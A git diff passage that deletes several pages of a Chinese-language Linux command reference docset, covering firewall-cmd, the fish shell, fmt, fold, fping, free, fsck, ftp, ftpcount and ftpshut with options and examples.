-firewall-cmd --get-zone-of-interface=eth0  # 查看指定接口所属区域
-firewall-cmd --panic-on  # 拒绝所有包
-firewall-cmd --panic-off  # 取消拒绝状态
-firewall-cmd --query-panic  # 查看是否拒绝
-
-firewall-cmd --reload # 更新防火墙规则
-firewall-cmd --complete-reload
-# 两者的区别就是第一个无需断开连接,就是firewalld特性之一动态添加规则,第二个需要断开连接,类似重启服务
-
-
-# 将接口添加到区域,默认接口都在public
-firewall-cmd --zone=public --add-interface=eth0
-# 永久生效再加上 --permanent 然后reload防火墙
- 
-# 设置默认接口区域,立即生效无需重启
-firewall-cmd --set-default-zone=public
-
-# 查看所有打开的端口:
-firewall-cmd --zone=dmz --list-ports
-
-# 加入一个端口到区域:
-firewall-cmd --zone=dmz --add-port=8080/tcp
-# 若要永久生效方法同上
- 
-# 打开一个服务,类似于将端口可视化,服务需要在配置文件中添加,/etc/firewalld 目录下有services文件夹,这个不详细说了,详情参考文档
-firewall-cmd --zone=work --add-service=smtp
- 
-# 移除服务
-firewall-cmd --zone=work --remove-service=smtp
-
-# 显示支持的区域列表
-firewall-cmd --get-zones
-
-# 设置为家庭区域
-firewall-cmd --set-default-zone=home
-
-# 查看当前区域
-firewall-cmd --get-active-zones
-
-# 设置当前区域的接口
-firewall-cmd --get-zone-of-interface=enp03s
-
-# 显示所有公共区域(public)
-firewall-cmd --zone=public --list-all
-
-# 临时修改网络接口(enp0s3)为内部区域(internal)
-firewall-cmd --zone=internal --change-interface=enp03s
-
-# 永久修改网络接口enp03s为内部区域(internal)
-firewall-cmd --permanent --zone=internal --change-interface=enp03s
-
-

服务管理

-
# 显示服务列表  
-Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看:
-
-firewall-cmd --get-services
-
-# 允许SSH服务通过
-firewall-cmd --new-service=ssh
-
-# 禁止SSH服务通过
-firewall-cmd --delete-service=ssh
-
-# 打开TCP的8080端口
-firewall-cmd --enable ports=8080/tcp
-
-# 临时允许Samba服务通过600秒
-firewall-cmd --enable service=samba --timeout=600
-
-# 显示当前服务
-firewall-cmd --list-services
-
-# 添加HTTP服务到内部区域(internal)
-firewall-cmd --permanent --zone=internal --add-service=http
-firewall-cmd --reload     # 在不改变状态的条件下重新加载防火墙
-
-

端口管理

-
# 打开443/TCP端口
-firewall-cmd --add-port=443/tcp
-
-# 永久打开3690/TCP端口
-firewall-cmd --permanent --add-port=3690/tcp
-
-# 永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了
-# 其它服务也可能是这样的,这个没有测试
-firewall-cmd --reload
-
-# 查看防火墙,添加的端口也可以看到
-firewall-cmd --list-all
-
-

直接模式

-
# FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口
-
-firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT
-firewall-cmd --reload
-
-

自定义服务管理

-

选项

-
(末尾带有 [P only] 的话表示该选项除了与(--permanent)之外,不能与其他选项一同使用!)
---new-service=<服务名> 新建一个自定义服务 [P only]
---new-service-from-file=<文件名> [--name=<服务名>]
-                      从文件中读取配置用以新建一个自定义服务 [P only]
---delete-service=<服务名>
-                      删除一个已存在的服务 [P only]
---load-service-defaults=<服务名>
-                      Load icmptype default settings [P only]
---info-service=<服务名>
-                      显示该服务的相关信息
---path-service=<服务名>
-                      显示该服务的文件的相关路径 [P only]
---service=<服务名> --set-description=<描述>
-                      给该服务设置描述信息 [P only]
---service=<服务名> --get-description
-                      显示该服务的描述信息 [P only]
---service=<服务名> --set-short=<描述>
-                      给该服务设置一个简短的描述 [P only]
---service=<服务名> --get-short
-                      显示该服务的简短描述 [P only]
-                      
---service=<服务名> --add-port=<端口号>[-<端口号>]/<protocol>
-                      给该服务添加一个新的端口(端口段) [P only]
-                      
---service=<服务名> --remove-port=<端口号>[-<端口号>]/<protocol>
-                      从该服务上移除一个端口(端口段) [P only]
-                      
---service=<服务名> --query-port=<端口号>[-<端口号>]/<protocol>
-                      查询该服务是否添加了某个端口(端口段) [P only]
-                      
---service=<服务名> --get-ports
-                      显示该服务添加的所有端口 [P only]
-                      
---service=<服务名> --add-protocol=<protocol>
-                      为该服务添加一个协议 [P only]
-                      
---service=<服务名> --remove-protocol=<protocol>
-                      从该服务上移除一个协议 [P only]
-                      
---service=<服务名> --query-protocol=<protocol>
-                      查询该服务是否添加了某个协议 [P only]
-                      
---service=<服务名> --get-protocols
-                      显示该服务添加的所有协议 [P only]
-                      
---service=<服务名> --add-source-port=<端口号>[-<端口号>]/<protocol>
-                      添加新的源端口(端口段)到该服务 [P only]
-                      
---service=<服务名> --remove-source-port=<端口号>[-<端口号>]/<protocol>
-                      从该服务中删除源端口(端口段) [P only]
-                      
---service=<服务名> --query-source-port=<端口号>[-<端口号>]/<protocol>
-                      查询该服务是否添加了某个源端口(端口段) [P only]
-                      
---service=<服务名> --get-source-ports
-                      显示该服务所有源端口 [P only]
-                      
---service=<服务名> --add-module=<module>
-                      为该服务添加一个模块 [P only]
---service=<服务名> --remove-module=<module>
-                      为该服务移除一个模块 [P only]
---service=<服务名> --query-module=<module>
-                      查询该服务是否添加了某个模块 [P only]
---service=<服务名> --get-modules
-                      显示该服务添加的所有模块 [P only]
---service=<服务名> --set-destination=<ipv>:<address>[/<mask>]
-                      Set destination for ipv to address in service [P only]
---service=<服务名> --remove-destination=<ipv>
-                      Disable destination for ipv i service [P only]
---service=<服务名> --query-destination=<ipv>:<address>[/<mask>]
-                      Return whether destination ipv is set for service [P only]
---service=<服务名> --get-destinations
-                      List destinations in service [P only]
-
-

控制端口 / 服务

-

可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效。

-
firewall-cmd --add-service=mysql        # 开放mysql端口
-firewall-cmd --remove-service=http      # 阻止http端口
-firewall-cmd --list-services            # 查看开放的服务
-firewall-cmd --add-port=3306/tcp        # 开放通过tcp访问3306
-firewall-cmd --remove-port=80tcp        # 阻止通过tcp访问3306
-firewall-cmd --add-port=233/udp         # 开放通过udp访问233
-firewall-cmd --list-ports               # 查看开放的端口
-
-

伪装 IP

-
firewall-cmd --query-masquerade # 检查是否允许伪装IP
-firewall-cmd --add-masquerade   # 允许防火墙伪装IP
-firewall-cmd --remove-masquerade# 禁止防火墙伪装IP
-
-

端口转发

-

端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口。转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口。 -如果配置好端口转发之后不能用,可以检查下面两个问题:

-
    -
  1. 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了
  2. -
  3. 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP
  4. -
-
firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080   # 将80端口的流量转发至8080
-firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1
-firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口
-
-
    -
  1. 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去。
  2. -
  3. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器。
  4. -
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fishshell.html b/linux-command.docset/Contents/Resources/Documents/c/fishshell.html deleted file mode 100644 index b9639c6489..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fishshell.html +++ /dev/null @@ -1,197 +0,0 @@ - - - - - - - - - - - fishshell 命令,Linux fishshell 命令详解:比 bash 更好用的 shell - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fishshell

-

比 bash 更好用的 shell

-

安装

-
# Ubuntu 和 Debian 的安装方法。
-sudo apt-get install fish
-# Mac 的安装方法。
-brew install fish
-
-

启动与帮助

-

由于 Fish 的语法与 Bash 有很大差异,Bash 脚本一般不兼容。因此,建议不要将 Fish 设为默认 Shell,而是每次手动启动它。

-
# 安装完成后,就可以启动 Fish。
-$ fish
-# 使用过程中,如果需要帮助,可以输入 help 命令
-$ help
-
-

彩色显示

-
# 无效命令为红色
-$ mkd
-# 有效命令为蓝色
-$ mkdir
-# 有效路径会有下划线。如果没有下划线,你就知道这个路径不存在。
-$ cat ~/somefi 
-
-

自动建议

-

Fish 会自动在光标后面给出建议,表示可能的选项,颜色为灰色。如果采纳建议,可以按下 Control + F 。如果只采纳一部分,可以按下 Alt + →

-
$ /bin/hostname # 命令建议
-$ grep --ignore-case # 参数建议
-$ ls node_modules # 路径建议
-
-

自动补全

-

输入命令时,Fish 会自动显示匹配的上一条历史记录。如果没有匹配的历史记录,Fish 会猜测可能的结果,自动补全各种输入。比如,输入 pyt 再按下 Tab ,就会自动补全为 python 命令。

-

Fish 还可以自动补全 Git 分支。

-

脚本语法

-

if 语句

-
if grep fish /etc/shells
-    echo Found fish
-else if grep bash /etc/shells
-    echo Found bash
-else
-    echo Got nothing
-end
-
-

switch 语句

-
switch (uname)
-case Linux
-    echo Hi Tux!
-case Darwin
-    echo Hi Hexley!
-case FreeBSD NetBSD DragonFly
-    echo Hi Beastie!
-case '*'
-    echo Hi, stranger!
-end
-
-

while 循环

-
while true
-    echo "Loop forever"
-end
-
-

for 循环

-
for file in *.txt
-    cp $file $file.bak
-end
-
-

函数

-

Fish 的函数用来封装命令,或者为现有的命令起别名。

-
function ll
-    ls -lhG $argv
-end
-
-

上面代码定义了一个 ll 函数。命令行执行这个函数以后,就可以用 ll 命令替代 ls -lhG。其中,变量 $argv 表示函数的参数。

-
function ls
-    command ls -hG $argv
-end
-
-

上面的代码重新定义 ls 命令。注意,函数体内的 ls 之前,要加上 command,否则会因为无限循环而报错。

-

提示符

-

fish_prompt 函数用于定义命令行提示符(prompt)。

-
function fish_prompt
-  set_color purple
-  date "+%m/%d/%y"
-  set_color FF0
-  echo (pwd) '>'
-  set_color normal
-end
-
-

执行上面的函数以后,你的命令行提示符就会变成下面这样。

-
02/06/13
-/home/tutorial > 
-
-

配置

-

Fish 的配置文件是 ~/.config/fish/config.fish,每次 Fish 启动,就会自动加载这个文件。Fish 还提供 Web 界面配置该文件。

-
$ fish_config # 浏览器打开 Web 界面配置
-
-

Running Commands: 兼容 bash 等shell的命令执行方式
-Getting Help: help/man cmd -> browser/terminal
-Syntax Highlighting: 实时检查命令是否正确
-Wildcards: 支持缩写 * 递归 匹配
-Pipes and Redirections: 使用 ^ 代表 stderr
-Autosuggestions: 自动建议, 可以使用 Ctrl-f / -> 来补全
-Tab Completions: 更强大的 tab 补全
-Variables: 使用 set 设置
-Exit Status: 使用 echo $status 替代 $?
-Exports (Shell Variables)
-Lists: all variables in fish are really lists
-Command Substitutions: 使用 (cmd) 来执行命令, 而不是 反引号、$()
-Combiners (And, Or, Not): 不支持使用符合来表示逻辑运算
-Functions:使用 $argv 替代 $1
-Conditionals (If, Else, Switch) / Functions / Loops: 更人性化的写法(参考 py)
-Prompt: function fish_prompt 实现
-Startup (Where's .bashrc?): ~/.config/fish/config.fish,更好的方式是 autoloading-function、universal-variables
-Autoloading Functions: ~/.config/fish/functions/.
-Universal Variables:a variable whose value is shared across all instances of fish

-
set name 'czl' # 设置变量,替代 name=czl
-echo $name
-echo $status # exit status,替代 $?
-env # 环境变量
-set -x MyVariable SomeValue # 替代 export
-set -e MyVariable
-set PATH $PATH /usr/local/bin # 使用 lists 记录 PATH
-set -U fish_user_paths /usr/local/bin $fish_user_paths # 永久生效
-touch "testing_"(date +%s)".txt" # command subtitution,替代 `date +%s`
-cp file.txt file.txt.bak; and echo 'back success'; or echo 'back fail' # combiner
-functions # 列出 fish 下定义的函数
-
-

参考资料

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fmt.html b/linux-command.docset/Contents/Resources/Documents/c/fmt.html deleted file mode 100644 index 3615b5c603..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fmt.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - fmt 命令,Linux fmt 命令详解:读取文件后优化处理并输出 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fmt

-

读取文件后优化处理并输出

-

补充说明

-

fmt命令 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。

-

语法

-
fmt(选项)(参数)
-
-

选项

-
-c或--crown-margin:每段前两列缩排;
--p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面;
--s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列;
--t或--tagged-paragraph:每列前两列缩排,但第1列和第2列的缩排格式不同;
--u或--uniform-spacing:每列字符之间都以一个空格字符间隔,每个句子之间则两个空格字符分隔;
--w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数。
-
-

参数

-

指定要优化格式的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fold.html b/linux-command.docset/Contents/Resources/Documents/c/fold.html deleted file mode 100644 index cc60a2fa1d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fold.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - fold 命令,Linux fold 命令详解:控制文件内容输出时所占用的屏幕宽度 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fold

-

控制文件内容输出时所占用的屏幕宽度

-

补充说明

-

fold命令 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。

-

语法

-
fold(选项)(参数)
-
-

选项

-
-b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位;
--s或——spaces:以空格字符作为换列点;
--w<每列行数>或--width<每列行数>:设置每列的最大行数。
-
-

参数

-

文件:指定要显示内容的文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fping.html b/linux-command.docset/Contents/Resources/Documents/c/fping.html deleted file mode 100644 index d27a113596..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fping.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - fping 命令,Linux fping 命令详解:fping检测主机是否存在 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fping

-

fping检测主机是否存在

-

补充说明

-

fping命令 fping类似于ping,但比ping强大。与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping,fping还可以在命令行中指定要ping的主机数量范围。

-

语法

-
fping(选项)(参数)
-
-

选项

-
-a  # 显示存活的主机
--b  # ping 数据包的大小。(默认为56)
--c  # ping每个目标的次数 (默认为1)
--f  # 从文件获取目标列表(不能与 -g 同时使用)
--l  # 循环发送ping
--g  # 通过指定开始和结束地址来生成目标列表,可以使网段
--u  # 显示不可到达的目标
-
-

实例

-

安装fping命令:

-
# 先安装epel源:
-yum install epel* -y
-# 安装fping包:
-yum install fping -y
-
-

选择性ping指定ip:

-
~]# fping 192.168.0.1 192.168.0.125 192.168.0.126 2>/dev/null
-192.168.0.1 is alive
-192.168.0.125 is alive
-192.168.0.126 is unreachable
-
-

ping整个网段:

-
~]# fping -g 192.168.0.0/24 2>/dev/null
-192.168.0.1 is alive
-192.168.0.103 is alive
-...
-192.168.0.253 is unreachable
-192.168.0.254 is unreachable
-
-

ping整个网段,只显示存活的主机:

-
~]# fping -ag 192.168.0.0/24 2>/dev/null
-192.168.0.1
-192.168.0.103
-...
-
-

ping某一段ip:

-
~]# fping -ag 192.168.0.5 192.168.0.130 2>/dev/null
-192.168.0.103
-...
-192.168.0.125
-192.168.0.130
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/free.html b/linux-command.docset/Contents/Resources/Documents/c/free.html deleted file mode 100644 index 85c07aff01..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/free.html +++ /dev/null @@ -1,183 +0,0 @@ - - - - - - - - - - - free 命令,Linux free 命令详解:显示内存的使用情况 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

free

-

显示内存的使用情况

-

补充说明

-

free命令 可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。

-

语法

-
free(选项)
-
-

选项

-
-b # 以Byte为单位显示内存使用情况;
--k # 以KB为单位显示内存使用情况;
--m # 以MB为单位显示内存使用情况;
--g # 以GB为单位显示内存使用情况。 
--o # 不显示缓冲区调节列;
--s<间隔秒数> # 持续观察内存使用状况;
--t # 显示内存总和列;
--V # 显示版本信息。
-
-

实例

-
free -t    # 以总和的形式显示内存的使用信息
-free -s 10 # 周期性的查询内存使用信息,每10s 执行一次命令
-
-

显示内存使用情况

-
free -m
-             total       used       free     shared    buffers     cached
-Mem:          2016       1973         42          0        163       1497
--/+ buffers/cache:        312       1703
-Swap:         4094          0       4094
-
-

第一部分Mem行解释:

-
total:内存总数;
-used:已经使用的内存数;
-free:空闲的内存数;
-shared:当前已经废弃不用;
-buffers Buffer:缓存内存数;
-cached Page:缓存内存数。
-
-

关系:total = used + free

-

第二部分(-/+ buffers/cache)解释:

-
(-buffers/cache) used内存数:第一部分Mem行中的 used – buffers – cached
-(+buffers/cache) free内存数: 第一部分Mem行中的 free + buffers + cached
-
-

可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。

-

第三部分是指交换分区。

-

输出结果的第四行是交换分区SWAP的,也就是我们通常所说的虚拟内存。 -区别:第二行(mem)的used/free与第三行(-/+ buffers/cache) used/free的区别。 这两个的区别在于使用的角度来看,第一行是从OS的角度来看,因为对于OS,buffers/cached 都是属于被使用,所以他的可用内存是2098428KB,已用内存是30841684KB,其中包括,内核(OS)使用+Application(X, oracle,etc)使用的+buffers+cached.

-

第三行所指的是从应用程序角度来看,对于应用程序来说,buffers/cached 是等于可用的,因为buffer/cached是为了提高文件读取的性能,当应用程序需在用到内存的时候,buffer/cached会很快地被回收。

-

所以从应用程序的角度来说,可用内存=系统free memory+buffers+cached。 -如本机情况的可用内存为:

-

18007156=2098428KB+4545340KB+11363424KB

-

接下来解释什么时候内存会被交换,以及按什么方交换。

-

当可用内存少于额定值的时候,就会开会进行交换。如何看额定值:

-
cat /proc/meminfo
-
-MemTotal:       16140816 kB
-MemFree:          816004 kB
-MemAvailable:    2913824 kB
-Buffers:           17912 kB
-Cached:          2239076 kB
-SwapCached:            0 kB
-Active:         12774804 kB
-Inactive:        1594328 kB
-Active(anon):   12085544 kB
-Inactive(anon):    94572 kB
-Active(file):     689260 kB
-Inactive(file):  1499756 kB
-Unevictable:      116888 kB
-Mlocked:          116888 kB
-SwapTotal:       8191996 kB
-SwapFree:        8191996 kB
-Dirty:                56 kB
-Writeback:             0 kB
-AnonPages:      12229228 kB
-Mapped:           117136 kB
-Shmem:             58736 kB
-Slab:             395568 kB
-SReclaimable:     246700 kB
-SUnreclaim:       148868 kB
-KernelStack:       30496 kB
-PageTables:       165104 kB
-NFS_Unstable:          0 kB
-Bounce:                0 kB
-WritebackTmp:          0 kB
-CommitLimit:    16262404 kB
-Committed_AS:   27698600 kB
-VmallocTotal:   34359738367 kB
-VmallocUsed:      311072 kB
-VmallocChunk:   34350899200 kB
-HardwareCorrupted:     0 kB
-AnonHugePages:   3104768 kB
-HugePages_Total:       0
-HugePages_Free:        0
-HugePages_Rsvd:        0
-HugePages_Surp:        0
-Hugepagesize:       2048 kB
-DirectMap4k:      225536 kB
-DirectMap2M:    13279232 kB
-DirectMap1G:     5242880 kB
-
-

交换将通过三个途径来减少系统中使用的物理页面的个数: 

-
    -
  1. 减少缓冲与页面cache的大小,
  2. -
  3. 将系统V类型的内存页面交换出去, 
  4. -
  5. 换出或者丢弃页面。(Application 占用的内存页,也就是物理内存不足)。
  6. -
-

事实上,少量地使用swap是不是影响到系统性能的。

-

那buffers和cached都是缓存,两者有什么区别呢?

-

为了提高磁盘存取效率, Linux做了一些精心的设计, 除了对dentry进行缓存(用于VFS,加速文件路径名到inode的转换), 还采取了两种主要Cache方式:

-

Buffer Cache和Page Cache。前者针对磁盘块的读写,后者针对文件inode的读写。这些Cache有效缩短了 I/O系统调用(比如read,write,getdents)的时间。 -磁盘的操作有逻辑级(文件系统)和物理级(磁盘块),这两种Cache就是分别缓存逻辑和物理级数据的。

-

Page cache实际上是针对文件系统的,是文件的缓存,在文件层面上的数据会缓存到page cache。文件的逻辑层需要映射到实际的物理磁盘,这种映射关系由文件系统来完成。当page cache的数据需要刷新时,page cache中的数据交给buffer cache,因为Buffer Cache就是缓存磁盘块的。但是这种处理在2.6版本的内核之后就变的很简单了,没有真正意义上的cache操作。

-

Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情况下,直接对磁盘进行操作的数据会缓存到buffer cache中,例如,文件系统的元数据都会缓存到buffer cache中。

-

简单说来,page cache用来缓存文件数据,buffer cache用来缓存磁盘数据。在有文件系统的情况下,对文件操作,那么数据会缓存到page cache,如果直接采用dd等工具对磁盘进行读写,那么数据会缓存到buffer cache。

-

所以我们看linux,只要不用swap的交换空间,就不用担心自己的内存太少.如果常常swap用很多,可能你就要考虑加物理内存了.这也是linux看内存是否够用的标准.

-

如果是应用服务器的话,一般只看第二行,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/fsck.html b/linux-command.docset/Contents/Resources/Documents/c/fsck.html deleted file mode 100644 index d5e5417c89..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/fsck.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - fsck 命令,Linux fsck 命令详解:检查并且试图修复文件系统中的错误 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

fsck

-

检查并且试图修复文件系统中的错误

-

补充说明

-

fsck命令 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。

-

语法

-
fsck(选项)(参数)
-
-

选项

-
-a:自动修复文件系统,不询问任何问题;
--A:依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统;
--N:不执行指令,仅列出实际执行会进行的动作;
--P:当搭配"-A"参数使用时,则会同时检查所有的文件系统;
--r:采用互动模式,在执行修复时询问问题,让用户得以确认并决定处理方式;
--R:当搭配"-A"参数使用时,则会略过/目录的文件系统不予检查;
--s:依序执行检查作业,而非同时执行;
--t<文件系统类型>:指定要检查的文件系统类型;
--T:执行fsck指令时,不显示标题信息;
--V:显示指令执行过程。
-
-

参数

-

文件系统:指定要查看信息的文件系统。

-

实例

-

linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是/dev/hda2,接着用如下的命令去对付它:

-
fsck -y /dev/hda2
-
-

结束后使用reboot命令重启系统这样就好了!

-

如果不知道时哪个地方出了问题,可以直接:

-
fsck
-
-

在随后的多个确认对话框中输入:y

-

结束后同样使用reboot命令重启系统这样就好了!

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ftp.html b/linux-command.docset/Contents/Resources/Documents/c/ftp.html deleted file mode 100644 index 21a1d53564..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ftp.html +++ /dev/null @@ -1,138 +0,0 @@ - - - - - - - - - - - ftp 命令,Linux ftp 命令详解:用来设置文件系统相关功能 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ftp

-

用来设置文件系统相关功能

-

补充说明

-

ftp命令 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。

-

语法

-
ftp(选项)(参数)
-
-

选项

-
-d:详细显示指令执行过程,便于排错或分析程序执行的情况;
--i:关闭互动模式,不询问任何问题;
--g:关闭本地主机文件名称支持特殊字符的扩充特性;
--n:不使用自动登录;
--v:显示指令执行过程。
-
-

参数

-

主机:指定要连接的FTP服务器的主机名或ip地址。

-

实例

-
ftp> ascii  # 设定以ASCII方式传送文件(缺省值) 
-ftp> bell   # 每完成一次文件传送,报警提示. 
-ftp> binary # 设定以二进制方式传送文件. 
-ftp> bye    # 终止主机FTP进程,并退出FTP管理方式. 
-ftp> case   # 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母. 
-ftp> cd     # 同UNIX的CD命令. 
-ftp> cdup   # 返回上一级目录. 
-ftp> chmod  # 改变远端主机的文件权限. 
-ftp> close  # 终止远端的FTP进程,返回到FTP命令状态, 所有的宏定义都被删除. 
-ftp> delete # 删除远端主机中的文件. 
-ftp> dir [remote-directory] [local-file] # 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件. 
-ftp> get [remote-file] [local-file] # 从远端主机中传送至本地主机中. 
-ftp> help [command] # 输出命令的解释. 
-ftp> lcd # 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录. 
-ftp> ls [remote-directory] [local-file] # 同DIR. 
-ftp> macdef                 # 定义宏命令. 
-ftp> mdelete [remote-files] # 删除一批文件. 
-ftp> mget [remote-files]    # 从远端主机接收一批文件至本地主机. 
-ftp> mkdir directory-name   # 在远端主机中建立目录. 
-ftp> mput local-files # 将本地主机中一批文件传送至远端主机. 
-ftp> open host [port] # 重新建立一个新的连接. 
-ftp> prompt           # 交互提示模式. 
-ftp> put local-file [remote-file] # 将本地一个文件传送至远端主机中. 
-ftp> pwd  # 列出当前远端主机目录. 
-ftp> quit # 同BYE. 
-ftp> recv remote-file [local-file] # 同GET. 
-ftp> rename [from] [to]     # 改变远端主机中的文件名. 
-ftp> rmdir directory-name   # 删除远端主机中的目录. 
-ftp> send local-file [remote-file] # 同PUT. 
-ftp> status   # 显示当前FTP的状态. 
-ftp> system   # 显示远端主机系统类型. 
-ftp> user user-name [password] [account] # 重新以别的用户名登录远端主机. 
-ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表。
-ftp> ! # 从 ftp 子系统退出到外壳。
-
-

FTP 匿名登录账号密码

-
账号:anonymous
-密码: anonymous@
-
-

关闭FTP连接

-
bye
-exit
-quit
-
-

下载文件

-
ftp> get readme.txt # 下载 readme.txt 文件
-ftp> mget *.txt     # 下载 
-
-

上传文件

-
ftp> put /path/readme.txt # 上传 readme.txt 文件
-ftp> mput *.txt           # 可以上传多个文件
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ftpcount.html b/linux-command.docset/Contents/Resources/Documents/c/ftpcount.html deleted file mode 100644 index ec388dc2fe..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ftpcount.html +++ /dev/null @@ -1,76 +0,0 @@ - - - - - - - - - - - ftpcount 命令,Linux ftpcount 命令详解:显示目前已FTP登入的用户人数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ftpcount

-

显示目前已FTP登入的用户人数

-

补充说明

-

显示目前已ftp登入的用户人数。执行这项指令可得知目前用FTP登入系统的人数以及FTP登入人数的上限。

-

语法:

-
ftpcount
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ftpshut.html b/linux-command.docset/Contents/Resources/Documents/c/ftpshut.html deleted file mode 100644 index 925ddbabd6..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ftpshut.html +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - ftpshut 命令,Linux ftpshut 命令详解:在指定的时间关闭FTP服务器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ftpshut

-

在指定的时间关闭FTP服务器

-

补充说明

-

功能说明:在指定的时间关闭ftp服务器。本指令提供系统管理者在设置的时间关闭FTP服务器,且能在关闭之前发出警告信息通知用户。关闭时间若设置后为"none",则会马上关闭服务器。如果采 用"+30"的方式来设置表示服务器在30分钟之后关闭。依次类推,假设使用"1130"的格式则代表服务器会在每日的11时30分关闭,时间格式为24 小时制。FTP服务器关闭后,在/etc目录下会产生一个名称为shutmsg的文件,把它删除后即可再度启动FTP服务器的功能。

-

语法:

-
ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"]
-
-

参数:

-
-d<分钟>   切断所有FTP连线时间。
--l<分钟>   停止接受FTP登入的时间。
-
- -
